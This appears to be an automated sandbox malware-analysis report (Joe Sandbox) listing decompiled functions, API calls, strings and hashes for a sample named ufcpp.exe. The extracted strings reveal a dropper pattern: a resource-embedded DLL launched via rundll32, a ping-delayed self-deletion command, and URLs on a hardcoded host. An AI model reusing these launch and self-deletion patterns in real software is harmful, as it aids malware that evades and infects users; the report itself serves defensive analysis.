Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction ID: b437bbb5ddae58e17e7d4b32f079fbf535bad8d5f4727950ce3f72a2bcf890de
Opcode Fuzzy Hash: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction Fuzzy Hash: 34F04436B052004BC204AA2D9D40A6FF797EBC8351F85043EFE89E3352C976980846BA

Function 00403B10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00403C70
fprintf.MSVCRT ref: 00403CB8
fclose.MSVCRT ref: 00403CBF

Strings

user.ini, xrefs: 00403B69, 00403C6B

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: fclosefopenfprintf
String ID: user.ini
API String ID: 167258513-1338118170
Opcode ID: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction ID: 013291e13a0706baa31a3bd6034cca8677a8dde525ade2333a9cb0047f89d752
Opcode Fuzzy Hash: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction Fuzzy Hash: 2C51D7716483809BD310EB15C845F9BBBE4AFD5718F04096EFA85732C1DB7DA504CA6B

Function 00403060 Relevance: 6.2, APIs: 4, Instructions: 176COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004030F1
VariantClear.OLEAUT32(?), ref: 0040318F
VariantClear.OLEAUT32(?), ref: 0040319B
SysFreeString.OLEAUT32(?), ref: 0040323E

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: ClearFreeStringVariant
String ID:
API String ID: 1438600931-0
Opcode ID: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction ID: 37251e203aaafb338411583485349c6a70529d6897f4196c911f470311200aa0
Opcode Fuzzy Hash: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction Fuzzy Hash: 8D6110B46083818FC300DFA8C884A1AFBE8BF89704F508D6EF89597350C779E949CB56

Function 004036D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00403762
SendMessageA.USER32(?,00000143,00000000,?), ref: 00403896

Strings

user.ini, xrefs: 004036F0

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: MessageSend
String ID: user.ini
API String ID: 3850602802-1338118170
Opcode ID: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction ID: 54062048f7d8e9c3c5b10c10d2f13be0a112b8bce1456f32d0f06b7dcf1a2bd7
Opcode Fuzzy Hash: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction Fuzzy Hash: 8151C6F1508341AFC314EB22C856F5F7BE8ABD5B48F004A2DF655662C1DB789608CBA7

Function 00402170 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00402202
SendMessageA.USER32(?,00000143,00000000,?), ref: 00402336

Strings

user.ini, xrefs: 00402190

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: MessageSend
String ID: user.ini
API String ID: 3850602802-1338118170
Opcode ID: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction ID: afaa56c09f8307c61a21e81d60edd19e1058136c3d77b862272b9fbdbc9fbc74
Opcode Fuzzy Hash: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction Fuzzy Hash: 9E51E9B1508341AFC304EB62C856F5F7BE8ABD5748F400A2DFA55662C1DB789608CBA7

Analysis Process: ufcpp.exePID: 2916, Parent PID: 3652COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	3.3%
Signature Coverage:	0%
Total number of Nodes:	183
Total number of Limit Nodes:	5

Executed Functions

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000086,HTM), ref: 004013E4
LoadResource.KERNEL32(00000000,00000000), ref: 004013FC

Strings

WinSta0\Default, xrefs: 00401666
c:\windows\system32\rundll32.exe, xrefs: 004015A7
c:\%s, xrefs: 00401509
%s "%s",init %s, xrefs: 00401621
D, xrefs: 0040165E
HTM, xrefs: 004013D8
%s\%s.dll, xrefs: 0040155E

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: Resource$FindLoad
String ID: %s "%s",init %s$%s\%s.dll$D$HTM$WinSta0\Default$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 2619053042-2457680838
Opcode ID: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction ID: 5c017b3d947436da3a79cbd575b5788da6cc5bd4b656b3589a3b64b7cb9d4a99
Opcode Fuzzy Hash: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction Fuzzy Hash: DA71E5716083806FD3218B24CC45BEB7BD5EB89704F00492DF6C9AB2D1DAB995098B9B

Function 004043EC Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00404419
__p__fmode.MSVCRT ref: 0040442E
__p__commode.MSVCRT ref: 0040443C
__setusermatherr.MSVCRT ref: 00404468
_initterm.MSVCRT ref: 0040447E
__getmainargs.MSVCRT ref: 004044A1
_initterm.MSVCRT ref: 004044B1
GetStartupInfoA.KERNEL32(?), ref: 004044F0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00404514
exit.MSVCRT ref: 00404524
_XcptFilter.MSVCRT ref: 00404536

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 06df12e95e92e3eb90a3e8b97be51bae533ac44a46cc44ada275256ec1e1c751
Instruction ID: b84817577bdd794c3584b55ee7e6e144752272faa3ca625d9eeea178d453bb24
Opcode Fuzzy Hash: 06df12e95e92e3eb90a3e8b97be51bae533ac44a46cc44ada275256ec1e1c751
Instruction Fuzzy Hash: BB416AB1C04748AFDB20DFA4DD45A6A7BB8EB49714B20027EE651B72E1D7385840CF69

Function 00415F67 Relevance: 3.2, APIs: 2, Instructions: 200
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00415FE0
VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,?), ref: 00416153

Memory Dump Source

Source File: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: af8375059041f43eb7b739a3b30046c93744f04c90da5dd6509c3269b4ceb1ad
Instruction ID: b5095fd7398c27d52b9b4c2b60e65f433afccfdda2a0a88fef6c4a84fe82fa18
Opcode Fuzzy Hash: af8375059041f43eb7b739a3b30046c93744f04c90da5dd6509c3269b4ceb1ad
Instruction Fuzzy Hash: 4D6119326002109FDB25CA14CC847E6BB75EF89314F29449AD5899B381D379EDC2CB55

Function 00401690 Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__p___argv.MSVCRT ref: 004016BF
ExitProcess.KERNEL32 ref: 004016DE

Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401253
Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401274
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401286
Part of subcall function 00401220: GetTickCount.KERNEL32 ref: 004012CD
Part of subcall function 00401220: wsprintfA.USER32 ref: 004012EA
Part of subcall function 00401220: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401321
Part of subcall function 00401220: WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401331
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401339

Part of subcall function 004019C0: LoadIconA.USER32(00000000,00000080), ref: 00401B40

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: Sleep__p___argv$File$CountCreateExitIconLoadProcessTickWritewsprintf
String ID:
API String ID: 2567926744-0
Opcode ID: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction ID: 616903a36303fad059cf54e446dff4fbed7c69b0abb077ef7505e4f2811fcf63
Opcode Fuzzy Hash: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction Fuzzy Hash: 55315D740093C19AD334FB65C65DBDFBBE0AFE5308F04096EA58D162C2DB785548CA67

Function 0040101B Relevance: 3.0, APIs: 2, Instructions: 18
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__p___argv.MSVCRT ref: 00401030
DeleteFileA.KERNELBASE(?), ref: 0040103C

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: DeleteFile__p___argv
String ID:
API String ID: 2264924877-0
Opcode ID: bf514f4f8b3450d371abe8fd2ec50fab2b8f3e662778c779333cc8a1cf4ff616
Instruction ID: 361f11c7750a6d85eff9a8f0da96cb1417f6188351d19e92d2bb50a9746f2348
Opcode Fuzzy Hash: bf514f4f8b3450d371abe8fd2ec50fab2b8f3e662778c779333cc8a1cf4ff616
Instruction Fuzzy Hash: 6DD0C9792106119FC7247F58E91DA4A7BA4EF89302B4540AAFA01AB3A1CBB498408F94

Function 00401090 Relevance: 3.0, APIs: 2, Instructions: 15
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__p___argv.MSVCRT ref: 00401030
DeleteFileA.KERNELBASE(?), ref: 0040103C

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: DeleteFile__p___argv
String ID:
API String ID: 2264924877-0
Opcode ID: 13b2291c2e5dbe36a149c3bb4d038d92b622d1ebf9b1753679f4a678d6a4a091
Instruction ID: 9c20f3d3dba36466ad4554863c02a9e62d6e2a013dcf2d6c67c330d6723d64da
Opcode Fuzzy Hash: 13b2291c2e5dbe36a149c3bb4d038d92b622d1ebf9b1753679f4a678d6a4a091
Instruction Fuzzy Hash: F4D05E382047108FC3146B54E918A5A76A0EB88301B0540BAFA02AB3E0CAB498409F9A

Function 004B05A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004B0625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004B0658

Memory Dump Source

Source File: 00000004.00000003.1694804932.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_ufcpp.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: 62f81f45cd68e50e9bd05ac8982592f4b3b786d72f475be6bb4b65f4be7c2a13
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: 4A213831A00219BFDB108F64CC40BEFFBF5FB55395F608163E910A2280E7788A119B64

Non-executed Functions

Function 00401DE0 Relevance: 9.1, APIs: 6, Instructions: 71
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsIconic.USER32(?), ref: 00401DEA
SendMessageA.USER32(?,00000027,?,00000000), ref: 00401E1B
GetSystemMetrics.USER32(0000000B), ref: 00401E29
GetSystemMetrics.USER32(0000000C), ref: 00401E2F
GetClientRect.USER32(?,?), ref: 00401E3C
DrawIcon.USER32(?,?,?,?), ref: 00401E74

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: MetricsSystem$ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 2166663075-0
Opcode ID: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction ID: db773ba51d367e258aaa0001d282ccedd816923d488996b04dffdd7d1b0f9207
Opcode Fuzzy Hash: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction Fuzzy Hash: 62117CB12047029BC214DF79DD89D6BB7E9FFC8304F084A2DB58AD3290DA34E905CB59

Function 00401220 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__p___argv.MSVCRT ref: 00401253

Part of subcall function 00401140: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B

__p___argv.MSVCRT ref: 00401274

Part of subcall function 00401140: ReadFile.KERNEL32(00000000,?,00001000,?,00000000), ref: 004011C2
Part of subcall function 00401140: CloseHandle.KERNEL32(00000000), ref: 004011FD

Sleep.KERNEL32(00000064), ref: 00401286
GetTickCount.KERNEL32 ref: 004012CD
wsprintfA.USER32 ref: 004012EA
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
Sleep.KERNEL32(00000064), ref: 00401321
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401331
Sleep.KERNEL32(00000064), ref: 00401339
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00401349
CloseHandle.KERNEL32(00000000), ref: 00401350
__p___argv.MSVCRT ref: 0040137D
wsprintfA.USER32 ref: 0040139A
WinExec.KERNEL32(?,00000000), ref: 004013AD
Sleep.KERNEL32(000001F4,?,?,?,?,00000000,?), ref: 004013B8
ExitProcess.KERNEL32 ref: 004013BC

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 00401394
c:\%s.exe, xrefs: 004012DE

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: File$Sleep$__p___argv$CloseCreateHandleWritewsprintf$CountExecExitProcessReadTick
String ID: c:\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 529022016-1443030469
Opcode ID: b0d82628c8d42d29bb42b0dbe05b30571f89d42255fb0a6e4ee7a3c0e0fd351b
Instruction ID: 9f8aa6881b80f391e29a048e327f9647279769309d18573ee161f45e2535dee3
Opcode Fuzzy Hash: b0d82628c8d42d29bb42b0dbe05b30571f89d42255fb0a6e4ee7a3c0e0fd351b
Instruction Fuzzy Hash: 2B418171504341AFD310EF64DC45FAB7BA9EFC8704F04093DF245AB2E1DA7496048BAA

Function 00401F00 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00401F23
_mbscmp.MSVCRT ref: 00401F73
CoUninitialize.COMBASE ref: 00402063

Strings

http://192.168.100.83/9.htm, xrefs: 00402032
http://192.168.100.83/F.htm, xrefs: 00402007
http://192.168.100.83/, xrefs: 00401F6D, 00402057

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: InitializeUninitialize_mbscmp
String ID: http://192.168.100.83/$http://192.168.100.83/9.htm$http://192.168.100.83/F.htm
API String ID: 2492722006-1795800369
Opcode ID: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction ID: a67ed12fd00eb966c7ef07626c931287be5c1ca5e9acac2baddc7c0ca8bee009
Opcode Fuzzy Hash: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction Fuzzy Hash: F061BE70604302AFD710EF64C989B1BBBA8AF88714F04496DF985EB3D1DB78D905CB96

Function 00402710 Relevance: 12.1, APIs: 8, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 00402759
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402768
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00402785
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402794
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 004027D0
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004027DF
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004027FC
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040280B

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction ID: 43040d4cf96770573546f0ef5553b46f0ed2c3b2f342c278d2bebaaa6e181bda
Opcode Fuzzy Hash: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction Fuzzy Hash: 6221357178031477EB14AB558CD6F7E365AABD8B10F34422ABF056F2C6CAF4E8018B55

Function 00401C60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMenu.USER32(?,00000000,?,?,?,?,004047E8,000000FF), ref: 00401C85
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401CD2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401CE1
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401D0D
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401D21

Strings

http://www.1.com, xrefs: 00401D31

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: Menu$AppendMessageSend$System
String ID: http://www.1.com
API String ID: 62300227-1471656216
Opcode ID: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction ID: 014e3ba470a9a3624742ceba51641722d59a2d0febe7554dbc01a11c7d6f2640
Opcode Fuzzy Hash: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction Fuzzy Hash: 142192B53447017BE220EB65CC86F5BB3A8FB88B50F10462DB6556B2D1CBB9F800CB59

Function 00403D20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_mbscmp.MSVCRT ref: 00403D57

Strings

user.ini, xrefs: 00403D8A, 00403E32

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: _mbscmp
String ID: user.ini
API String ID: 2888065108-1338118170
Opcode ID: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction ID: 7586933d42d8af5822a5c6cc992a2378d2c9300e52b0bfec7b5886e4e50d1dbd
Opcode Fuzzy Hash: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction Fuzzy Hash: F341D1B16483406BC314FF55CC42BAF7654AFD0709F40067EFA06762C1DB7C69088AAB

Function 00402F00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 00402F09
lstrlen.KERNEL32(00402DDC,?,00402DDC,00407194), ref: 00402F2C
MultiByteToWideChar.KERNEL32(00000000,00000000,00402DDC,000000FF,?,00000001,?,00402DDC,00407194), ref: 00402F55
SysAllocString.OLEAUT32(00000000), ref: 00402F5F

Strings

NULL, xrefs: 00402F05

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: AllocByteCharClearMultiStringVariantWidelstrlen
String ID: NULL
API String ID: 3257503732-324932091
Opcode ID: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction ID: d48dc8f015bb9ad4e3fe3b606f75ade0cd382acbba87cbd38ab65ded183ca584
Opcode Fuzzy Hash: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction Fuzzy Hash: 9801D272600616ABC7105F52CD84B5BBBB8EF413A4F108136FE04B7390E3B898018BE9

Function 004010C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004010D9
srand.MSVCRT ref: 004010E0
rand.MSVCRT ref: 004010EF
rand.MSVCRT ref: 00401110

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 004010CB

Memory Dump Source

